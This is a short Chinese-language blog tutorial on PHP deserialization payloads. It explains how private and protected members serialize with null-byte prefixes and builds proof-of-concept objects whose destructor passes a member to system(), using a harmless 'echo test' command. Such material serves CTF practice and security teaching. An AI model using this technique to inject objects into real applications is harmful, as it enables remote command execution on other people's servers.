真理教教会

学习是美德,知识是财富,求道是目的

0%

serialize_private_and_protected

php反序列化如何同时处理private和protected类型的变量

public

通常遇到的反序列化里所有类的成员都是public

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Test {
public $command;

function vuln($payload) {
system($payload);
}

function __destruct(){
$this->vuln($this->command);
}
}

$a = new Test();
$a->command = 'echo "test"';
echo serialize($a);
echo urlencode(serialize($a));
?>

这是一个非常简单的poc案例,假如实例的反序列化代码的成员类型是private或protected,这个代码就会失效

private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Test {
private $command = 'echo "test"';

function vuln($payload) {
system($payload);
}

function __destruct(){
$this->vuln($this->command);
}
}

$a = new Test();
echo serialize($a);
echo urlencode(serialize($a));
?>

比较

1
2
3
4
5
6
7
public代码的结果:
O:4:"Test":1:{s:7:"command";s:11:"echo "test"";}
O%3A4%3A%22Test%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A11%3A%22echo+%22test%22%22%3B%7Dtest

private代码的结果:
O:4:"Test":1:{s:13:"Testcommand";s:11:"echo "test"";}
O%3A4%3A%22Test%22%3A1%3A%7Bs%3A13%3A%22%00Test%00command%22%3Bs%3A11%3A%22echo+%22test%22%22%3B%7Dtest

一眼能看到,这两串序列的区别是command成员的变量名以什么形式序列化,通过观察url编码可以看出:

  1. public变量以command来序列化
  2. private变量以%00Test%00command的形式序列化

protected

基本同上
3. protected变量以%00*%00command的形式序列化

遇到的问题和通解

成员类型决定我们能修改变量值的方式
可以通过

  1. $a->command = ‘echo “test”‘;
  2. private $command = ‘echo “test”‘;
    的方式修改

但如果一个类要在统一用多次,而其成员的类型是private且要赋不同的值
那么可以在poc里写专门的成员函数来更改成员变量的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Test {
private $command;

function vuln($payload) {
system($payload);
}
function setCommand($payload){
$this->command=$payload;
}

function __destruct(){
$this->vuln($this->command);
}
}

$a = new Test();
$a->setCommand("echo 'test'");
echo serialize($a);
echo urlencode(serialize($a));
?>

参考

https://xz.aliyun.com/t/6454?time__1311=n4%2BxnD0Dg70%3DG%3DoeGN3ExmxWuxGwSgx%2B7%2BiD#toc-1

一杯咖啡钱能温暖一个人的心